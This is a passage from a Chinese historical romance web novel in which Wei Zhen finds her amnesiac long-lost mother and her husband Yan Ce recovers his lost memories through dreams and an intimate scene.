挤|开门后,吠星就“哒哒哒”跑入里间,过来蹲在卫臻跟前不停摇尾巴。 从卫臻的角度看,它的两只耳朵被尽数往后收起来了,这般杵在地上,脑袋像个小毛球,她忍不住俯身去摸|它。 怎么可能不摸,没人能拒绝这种又蓬又圆的狗。 燕策:“” 有尾巴的就是方便—— 他在想什么。 他要跟谁比,狗吗? 怎么可能。 燕策有些不太懂自己这莫名其妙出现的情绪。 他把手上的抹额递给她。 回答她方才的问题,“有。” 看着卫臻手松开了狗,站起身要给他戴抹额,燕策下意识放低了身量,面不红心不跳地继续扯谎: “有用,感觉要记起些什么,但差一点,等下值回来继续试试。” 不太够,而且最后她太|紧|张了,一个劲|儿催|他,十分仓|促。 卫臻指尖梳拢|起他的发丝,把抹额穿梭在其中,本能地想拒绝。 早上明明已经四—— 可转念一想到,他是因为救他才失忆,且就凭二人的关系,她也得主动帮他寻回记忆。 主动 二人离得很|近,燕策第一时间发现她面颊变得红扑扑的,从耳垂,到细|腻的颈,都染|着层薄|粉。 刚要逗她,倏然间门外有侍女传话,讲大姑娘燕姝来了。 闻言,卫臻着急忙慌给他梳头,动作太着急,无意间扯到他的头发。 燕策倒|抽一口冷气。 卫臻以为弄|疼他的伤口了,指腹轻轻覆|在他头上揉|着。 像方才揉它的头一样。 “头疼|吗?” “没有。” 只是头发被|扯|疼,莫名想亲她。 燕策不知道为什么会有这种无端的联想。 由于后脑处还裹|着纱布,燕策未束往日常扎的高马尾,眼下部分头发垂在身后,一条黑色抹额梳拢碎发,恰到好处地遮掩住包扎的纱布,也衬得他面部线条更为英挺利落。 燕姝惦记着燕策的伤,府中众人尚不知情,她便借着找卫臻说话的由头,过来探望。 燕策一看见小元,对自己失忆的实|感又重|了一层。 这孩子变这么|大|了,还会说话。 明明记忆里还是刚满周岁很小一个婴孩,日常只能被包在襁褓中。 早膳用到一半,前院管事匆匆来报,燕策被叫走了。 昨|夜派出去的暗卫在鹰嘴崖下发现了端倪。 崖下有个极为隐|蔽的山|洞,洞|前车辙纵横。门口有重兵把守,是梁王和突厥的人。斥候伏在林中观察多时,不敢打草惊蛇,探查完便回来报信了。 燕策立即带着亲信出门找太子商议。 待燕姝带着小元离开,卫臻去了昨日那座别院。 昨日事发紧急,乔娘与苏兆玉姊妹俩为了救她已然得罪了提厉,如此也不能再回原处了。 卫臻与燕姝商议过,暂时先让乔娘她们在燕姝的别院里歇息一晚。 两人于自己有救命之恩,卫臻从心底感激爱重她们,说话的语气也缓了再缓,打算慢慢套话,问清关于乔娘的一切。 但卫臻到底年岁小,处世尚浅。 而苏兆玉却是为了生存摸爬滚打多年,什么话听不懂,她当下就察觉到卫臻在打听二人的过往,立即生了戒备之心。 “苏娘子,” 卫臻斟酌着继续开口,声音比茶盏内飘出的雾气更软, “我们也是打过几回交道的,你年长我,当是能看清我并非奸邪之辈。” 苏兆玉点点头,并未反驳。 卫臻继续道: “你们救了我的命,于情于理我都不可能对你们生歹意。今日唐突,只是因为乔娘长得颇像我的一位长辈,便不自觉生出亲|近之意。” 她声音发涩,抬头看了眼,乔娘坐在苏兆玉旁边,也一直在看她。 其实到现在,卫臻心底也清楚乔娘不可能是阿娘了,否则,她不会对自己没反|应。 老天像是开了个玩笑,莫名生出这么多与阿娘面容年岁都相仿的人。 卫臻眼眶一热,想掉眼泪。 燕策还在这个时候失忆了,她的生活简直一团乱麻。 乔娘看她哭了,本能地着急,不住地看看卫臻又看看苏兆玉。 苏兆玉把她手摁住了,摇了摇头。并非心狠,若不对所有人保持警惕,她们走不动今天的。 卫臻自个儿拿绢帕擦净眼泪,轻轻|吸|了吸鼻子。 等等,失忆。 虽然失忆是极罕见的病症。 可燕策能失忆,那万一乔娘也失忆了呢。 抬手把被眼泪打|湿|的鬓发抿到耳后,卫臻瓮声问苏兆玉: “你们感情真好,是亲姊妹吗?” 苏兆玉笃定道:“是啊。” 卫臻抬起头看着她,“不对,” “那日|你说过,你爹要卖|你,你自己逃出来的,如此重要的大事,你从头到尾都未曾提到乔娘。” “你们不是。” 第53章 眼瞅着苏兆玉像是要生气,卫臻忙不迭主动握|住她的手, “乔娘后脖颈处,领口下方是不是有块胎记,约莫半个手掌那么长,两三指宽。” 卫臻记得小时候,经常趴在阿娘背上,拿手去捂住这块胎记。现下手大了许多,胎记差不多有她半掌长。 见对面两人并未反驳,卫臻继续道: “若有,她可能是”话未说完,喉间就开始发哽,深吸一口气,她嗓音颤|得厉害,“是我娘。” 语落,眼泪就止不住地往下砸。 苏兆玉瞳仁微缩,难以置信地望向身旁的乔娘。乔娘那里确实有胎记。 “我” 乔娘再一次细细打量她的眉眼,想说些什么,一开口却也眼眶发|胀,最终指尖颤|抖着抚|上卫臻面庞,帮她擦眼泪。 卫臻将脸颊深|深|埋|进乔娘掌心,轻|轻|蹭|了|蹭,很温暖,带着股淡淡的让人安心的香气,与记忆深处阿娘怀抱的气息重|叠。 苏兆玉怔怔望着这一幕,忽而想起头一次见卫臻那日,她回去还与乔娘开玩笑,说卫臻长得像她一样好看。 没成想,二人真的有可能是母女。 卫臻试探着用溧语去喊阿娘的名字:“诺敏” 乔娘摇摇头,也用溧语应道:“我不记得,好多事都忘了” 感觉心里有张网,破了好几个大窟窿,什么都捞|不起来,她望着眼前的卫臻,忍不住也急得掉眼泪。 “你,”卫臻猛地抬头,有些语无伦次:“你会说话!会说溧语,你是,你就是我娘。” 说完就呛得咳嗽了下,唇|瓣张|合,想喊阿娘,却喉间发哽,好半晌没发出动静。 待情绪平静些,卫臻转向苏兆玉:“苏娘子,你们可曾去过益州?我娘就是在那里丢的。” 眼前两张面容越看越相似,苏兆玉轻叹道:“确是十年前在益州遇见姐姐的,具体哪年记不清了,当时地里最后一茬竿蔗已经割完了” 相隔太久,很多事苏兆玉也不确定,把自己能想到的全都细细说与卫臻听, “那时她什么都忘了,只记得个‘乔’字。” “不是,不是乔,”眼泪已经糊了卫臻满脸, 她一个劲儿地摇头,“是翘翘,是你给我起的小名。你的本名叫诺敏。” 诺敏把卫臻搂入怀里,哽咽着,一口气半晌才喘匀:“翘翘我的孩子。” ** 竹影婆娑,枝叶间投下斑驳的日影,轻风裹挟着袅袅茶香在窗前流转。 依旧是二人上次相会的那处宅院,依旧是日铸雪芽。 梁王妃指尖抵着青瓷茶盏向前推去,腕间玉镯碰出清脆的响, “我与卫郎相识,二十二年了。” 看着对面的卫含章执起茶盏,茶汤入喉的声音让她眼睫轻|颤,“当年我被家中逼迫,入了王府,卫郎也远去益州,你我从此就” 她忽而抽泣,卫含章用带着茶盏余温的指腹为她轻拭眼泪,“你哭的样子还和当年一样。”透过她的脸,他忍不住去回想自己年少时的一幕幕。 “卫郎,你是不是永远都不会怨我。” 得了他的保证,梁王妃再次执壶,手不住地抖,看着茶汤缓|缓|注|入卫含章眼前的杯盏。 而她自己面前的茶,始终未曾动过。 ** 燕策下值前去找了程医官,把昨日在|榻|边发现的药瓶拿给他看。 程医官与燕策多年相识,只瞥了一眼,连瓶子都没打开就认出来了,因为这是当初他开给燕策的避|子药。 “避|子药?”燕策扬了扬眉。 果然,不可能是她说的什么强|身的药。 也不知先前她是怎么问的,竟然会有这种误会。 程医官见燕策这次神色有异,又给他把脉:“气血淤滞,脉象沉|涩,施针化瘀或可有些益处。”说着就要去柜子上取针来。 “改日吧。”现下有些晚了,若针灸回去,天都黑了。 见燕策急着要往外走,程医官又嘱咐道:“还有这药,你不能天天吃,原是告诉你行|房前一个时辰服用,每日一次即可。可从这脉象判断,近些时日|你每天都服用好几回。” 燕策顿住:“我吃药,药性会对她身体有亏损吗。” 程医官连连摆手,“夫人无碍。是你,太频|繁了,一来纵|情|难免会伤|身。二来,依你体|内|积|攒的药性,若日后想要子嗣,你需得提前三月停药调理。” 燕策这才松了口气。 急着赶回府,却得知卫臻一日未归,他又寻到昨日那处私宅,知道屋内除了卫臻还有旁人,燕策没直接进去,让祝余进去把她喊出来。 她此刻脸上没有挂泪,但薄薄的眼皮泛|着红,燕策把人拉至怀里,“怎么哭了?” 卫臻摇摇头,有些犹豫要不要告诉他。 前额抵在他肩头,想了想最终还是讲了:“我找到阿娘了。” 燕策很意外,他失忆后去重新了解过卫臻的亲缘关系,知道早在益州时,她母亲就过世了。 卫臻把内情简单跟他讲了一遍,又带着燕策进了屋。 燕策并没有把卫臻同别人的相貌做过比较,但是眼下听完她说的话,仔细端详着二人的面容,发现卫臻确实同诺敏生得很像。 卫臻主动开口介绍:“阿娘,这是我的夫婿燕策,在家中行六。” 燕策恭顺行礼,“岳母大人。” 卫臻又在一旁戳戳他的手臂,虚虚指向一旁的苏兆玉:“还有姨母。” 燕策便跟着喊姨母。 暮色四合,后厨备下一|大桌子菜,卫臻还让人去永安楼里另外买了些她爱吃的。 她的口味随了阿娘,她爱吃的菜肴,阿娘定然也会喜欢。 玉板鲊、五柳鱼、胭脂鹅脯、三脆羹、元羊蹄、胡麻油酥饼还有温得恰好的酒酿。 几人一齐用的晚膳,卫臻心里高兴,让兰怀和祝余也坐下,哭哭笑笑的,一顿饭吃到好晚,窗外早已星子满天。 一直待到亥正时分,燕策起身|欲携卫臻回府。 卫臻微微有点醉意,靠着诺敏的肩,讲自己今晚要跟着阿娘歇下,让燕策自个儿回去。 燕策劝了半盏茶的工夫,她也没改主意,最终他只得妥协。 不放心她宿在外面,他便转头吩咐侍从去把隔壁院子收拾出来,他今夜歇在那。 “你得回去呀,” 她喝醉后,口音就更明显了,尾音往上翘着, “吠星还自己在家里呢,没人陪它,它肯定等到好晚。” 燕策:“” 怕狗没人陪,怎么不担心他一个人睡不好。 “有侍女陪它。” 被她拧了一下,他改口:“明晚我让人把它送来——如果你还宿在这里。” “什么嘛,你该回去,把狗接来做什么。” “你在哪呆着,狗就在哪。”想亲她,但是知道眼下不太方便,燕策走之前只捏|了捏|她柔|软的手掌心。 他素来没有失眠的烦难,今日却怎么都睡不着。手几次往旁边探,却都空荡荡的。 辗转反侧许久,才缓缓入梦。 几株桃树倚着白墙,枝干横斜,缀满了桃花,微风拂过,满树浅粉簌簌地摇,花瓣打着旋儿落在石板路上。 燕策靠在燕敏院中廊下的躺椅上偷闲,侍从端来两盏汤药,他摆摆手让人搁在一旁小案上。 太苦了,他不喜欢喝。 一阵脚步声走近又停了,燕策以为是侍从,很快却又听见珠子“噼里啪啦”落在地上的声音,伴随着女郎的惊呼声。 是她。 俯身把散落的珠子捡起来,却听见她道:“多谢二郎君。” 二郎,是兄长。 她把他当成了兄长。 心头的不满把燕策从梦中拉扯出来。 是梦。 屋内极静,只有窗外一两道虫鸣和他低低的呼吸声。 方才的画面,正好是他失忆后,记忆停留的节点。 有些分不清哪边才是梦。 为什么她会把他错认成兄长。 没缘由。 他记不得二人因何成婚、以及婚后朝夕相处的点点滴滴,眼下只能妄自胡乱揣测。 燕策能很强烈感觉到,即便忘记了很多,但自己也本|能地被她吸引着,无时无刻。 心跳比记忆更早被|唤|醒。 那她呢。 远远传来更漏声,寅时了,燕策才再次睡去。 梦里的丝竹管弦之声接替了更漏与虫鸣。 派去保护卫臻的祝余神色匆匆来报信,讲卫臻赴宴被人下药了。 燕策穿梭在千春楼内的觥筹交错与云鬟香风里。 霜雪覆顶,孤云低垂,他生出惧意。 怕寻不到她。 路上他半句话都没跟一起寻人的侍从讲,似被雪压住了喉咙。 好在,找她的时候,天意也相助。 很快燕策就在回廊处看见了卫臻的身影。 时序隆冬,她手烫|得|厉害,燕策觉得捧了一簇将熄未熄的炭火,却较炭火柔|软百倍。 她远比他想象的要轻很多,抱她走的时候寻不到实|感,他手都不知道该往哪儿|落。 北风卷着碎雪,扑簌簌拍|打窗纸,一切都和书上说的很不一样,好像根本没法。 他从来都不知道女郎可以流|这么多的眼泪。 不知道她是不是难|捱。 因为他很|疼。 想亲她的脸,她的唇|瓣。 但这些不是必要的。 若在她意识不明时亲|她脸,是冒|犯。 热意漫|上他的唇|瓣和鼻尖,卫臻哭了好几次,高热才堪|堪|退|去。 最后,她闷|泣着,很|轻地喊了一声:“燕筠” 兄长的名字。 燕策整个人怔住,眸底沉沉,喉结缓|慢|滑|动。 她哭的时候,在想着谁。 北风呼啸,窗扇大|开,刺骨的寒意涌|入屋内。 燕策从梦中被激|醒,周身凉津津的。 躺在枕上,后脑处的伤口有些扯|到了。 垂眸瞥了眼,疼得厉害。 第5章 燕策抬手揉了揉眉心,有些不确定那是真实的过去,还是他做的梦。 他清楚记得梦里她领口处上的小绒|毛。 她的一只耳坠勾在他外袍上了。 她还流了很多眼泪,把他的衣裳都打湿|了。 若都只是他一个人臆想出的梦,也太真实了些。 有太多话想同她讲,但眼下又不是好时机,只能等晚上回府后问了。 金乌高悬,燕策收拾好情绪,去了正厅等卫臻。但侍女讲卫臻昨夜熬了大半宿,一直在聊天,今个怕是要起得很迟。 他便自个儿先用了早膳去上值了,临出门前把周回留在这边,又拨了几个得力的护卫过来。 因为卫臻昨日提过,今天想出去置办套宅院,好让诺敏与苏兆玉住下。这般多几个人跟着,更稳妥些,也方便采买日用。 日上三竿,被喊了好几回,卫臻才磨|磨蹭|蹭起身,坐在床榻边,贪恋地抱着诺敏的腰,“阿娘给我梳头。” 诺敏摸|了摸卫臻毛茸茸的发顶,执起乌木梳,指尖穿过缎子似的长发。 她下意识想为女儿盘双髻,突然想到卫臻已经成婚, “我的翘翘长这么大了。” 造化弄人,女儿的人生大事,她没能陪着。 昨夜卫臻讲述的种种往事她虽记不清,但母女天性是最无法泯灭的。 卫臻的头发被梳成精巧的交心髻,两边各插了支金色的蝴蝶簪,上边的小触|须不停随着她的动|作晃|啊晃。 苏兆玉还变戏法似的临时拿丝线做了三个红色的小绒球,戴着卫臻发间,显得更可爱灵动。 京里宅院买卖与别的地界不同,门道更多,那些能在天子脚下置办宅院的人家,即便空置多年,也鲜少有舍得出手的。 周回领着两个身着灰白长衫的房牙子进来时,卫臻还有些意外,她原已做好了耗上三五日的准备,谁曾想不过半日功夫,就寻得一处合适的宅子。 是位要告老还乡的医官的住所,那宅子虽不算轩昂,却处处透着清雅,能看出主家平日里是用心打理的。 三进的院落,能住下一家好几口,若两人住,再添置些仆役,也不会显得过分空旷。 后院还开垦出一小片药田,引来的活水在石槽间潺潺流动,往后可以在这侍弄些花草。 最妙的是这宅子离国公府不过两条街的距离,坐马车一盏茶的功夫就过去了,平日里走动也方便。 几人商议过,几乎是一拍即合,全都满意,但没成想主家开的价是十五万两。 诺敏闻言立即蹙起眉头,劝卫臻算了,十五万两,天价,她想都不敢想。 卫臻却连价都没往下压,直接买了,让人去签房契过户,“能寻到合心意的宅子就算咱们今个运气好啦,没想到能这么顺利,阿娘就安心住下吧。” 吩咐完底下人去置办大宗物件,卫臻又唤了绣娘,给诺敏与苏兆玉量|体,做些应季的新衣裳。 “可真是”苏兆玉一个劲儿地高兴,“从前都是咱们给别人家做绣活,这还是头一回请人来做衣裳,这料子真好啊。” 卫臻听了,心里却有些发酸, 两人几乎不跟她讲这十来年的艰辛,只捡有趣的,还一直说有好些人帮过她们。 可卫臻总是忍不住顺着对话时的一些细节去脑补她们的不易, 她看了看窗外,缓缓舒出口气, “往后咱们只穿最好的。” 卫臻本想晚上继续同阿娘敏宿在一处,没成想燕策的随从来了,讲燕策的伤出了点岔子,措辞很是微妙,卫臻细问,随从却只恭顺地请她亲自回府看看。 卫臻回去一瞧,他脑后的纱布确实散着, 她没好气地直接问:“是不是你自己把纱布扯开的。” 而后在燕策错愕的神情中继续道: “你失忆前就老这样做,少跟我耍这些小花招。” 她嗔他一眼,但还是给他重新上药包扎伤口,这使得燕策有了顺杆爬的底气: “你不在,我一个人老做噩梦,狗也一直叫——嘶。” 卫臻故意拿擦拭伤口的酒液辣他一下,有些疼,燕策眼尾瞬间红了。 等到包扎完,他又问道:“我耳朵上是怎么弄的?” 卫臻视线顺着他的手,落在他的耳洞处,“怎么,给你穿|个孔你就要生气吗?” 望着她蹙起的眉毛,燕策好笑道:“到底是谁在生气。” “我的意思是,另一边为什么没有?” “因为你当时疼|晕|了,抖得像筛糠,没法再给另一只耳朵——” 卫臻的尾音消失了。 因为他直接把人扯|到|腿|上,用唇堵|住她的胡话。 等到她|喘|不动气才松|开,燕策蹭|蹭|她的额头,“明日给我戴个耳饰好不好。” 今日他眼前总是浮现出一些散碎的画面,好像她曾经给他戴过首饰。 卫臻却没有动,与他对视几瞬,蓦地问道:“万一你永远记不起来怎么办。” “是怕我失忆了不记得你以前的习性,进而惹你生气吗。” 卫臻摇摇头,“不是这个。我们成婚,本就非你自愿,眼下你又什么都不记得了,大抵用不了多久你就——” 燕策再次亲了她一下,没让她说完, “失去记忆,于我而言,就是重新对你好奇一次。” “旁的都如旧,我不会因为失去一段记忆就性情大变,负心薄幸。” 卫臻应了一声,趴在他肩头,无意识扯着他垂下的发丝。 “那你呢?”他问道。 “我——就还好啊。”她拖长调子应着,这种问题怎么回答啊,她可说不出酸溜溜的话。 见她不想回答,他又提起最|要紧|的,“昨日翘翘答应主动帮我。” 卫臻嗯嗯|唧|唧着想耍赖,脖颈后的系|绳却被他用齿尖咬开了,“你怎么又突然这样啊。” “不是突然,刚才上药时就已经。” 月向西斜,屋内点着好几盏灯,明晃晃的,二人正坐在同一张圈椅上,就紧|挨着最亮的灯烛, 卫臻直摇头,“去榻|上。” 他兀自忙着,没理她,卫臻又继续打商量,“那把灯熄掉好不好。” 燕策抬起漆黑的眸: “点着灯,你才能看清我是谁。” 在燕策的视角里,她连着两次把他认错了。 卫臻不懂他这莫名其妙的话,被他扰得不行,她抬手解下身后的发带,蒙在他眼睛上。 这般,她的耻感能少几分。 旁边的蜡烛燃了一|大截,卫臻眯着眼睛,趴在他肩头耍懒,他只得帮她一次,又提醒道:“别耍懒,到我记起来为止。” 眉眼被遮住,就显得他的下颌与唇部线条格外昳丽,但说的话却没有一句是卫臻喜欢听的,她气急,给了他一巴掌。 这一下其实打得燕策头有些晕,但他分不清是痛还是快|意,只顺着她轻飘飘的力道仰起下颌,“不如上次扇得|爽。” 卫臻被扰得分不出神,也未曾去想:其实自从燕策失忆后,她一直没扇过他。 在她|趴|在他怀里|抖|的时候,他忽而一顿,问她:“为什么对着我喊兄长的名字。” 卫臻眼眶都红|了,怎么能在这个时候拷问她,腰被他钳制住,躲不开他的问题,“我,我什么时候?” “第一回,千春楼那日。” 二人就这么僵持着,互相盘问了好久的细节。 卫臻忽而想到了一种很荒谬的可能:“那时我说的是‘要晕了’。” 掺|了哭|腔时,她说话的调子就有些变,甚至可能“了”字还没来记得说完就晕过去了。 被他误听成燕筠。 燕策瞬间就接受了她的话。 因为知道她懒得花心思骗他,若是不想回答,她会直接耍横,不可能编出个理由。 心头介怀尽消,他开始主动帮她,抱着她往妆台边走。 “走的时候不行你还蒙着眼,别磕到了。”好不容易才被他抱到妆台上,卫臻指尖触到冰凉凉的物件,借着烛光一看, 是她那把遗落在外面的匕首。 “你把这个找回来了啊。” 他应了声,很快卫臻就没心思继续管匕首了,“当啷”一声,金属掉在地砖上,她瓮声抱怨,“要掉地上了。” 燕策没管,“丢不了。” “不是”她说的不是匕首。 屋内的蜡烛几乎都燃尽了,只剩俩人旁边那盏,将灭未灭,暗夜中有蜡液|顺着满|溢的托盘滴|滴|答答往|下|淌,外边起了凉津津的风,把烛芯熄灭后的浊|一点点散去。 回忆与快|意纷|至沓来,他下颌抵|在她肩窝处,缓了好久,又去亲|她柔|软的脸颊,“上回我戴的那个铃铛,收在哪里了。” 卫臻还在失神,本能地应答:“在我装耳珰的小匣子里——” 倏然间,最后一盏灯烛灭掉,骤然降临的黑暗让卫臻整个人一|缩,她又意识到什么,思绪瞬间清明, “你你是不是记起来了?” 给他扯下发带的时候,她被余温影响着,手还在抖。 “是。”他嗓音低|哑,眼尾泛|着红,瞳仁却异常润|亮,在夜里与她对视。 “什么时候?” “方才,你扇我那一下。” 卫臻用额头撞|他,“我跟你说正经的呢。” “这就是正经话,” 燕策闭着眼睛亲了她一下, “翘翘是小神仙,妙手回|春。” 低声细|语荡|入|深|浓夜色里,窗外偶有一两声虫啼,窸窸窣窣,轻飘飘的。 夏夜的风把月色也吹得温柔,一切都合时宜。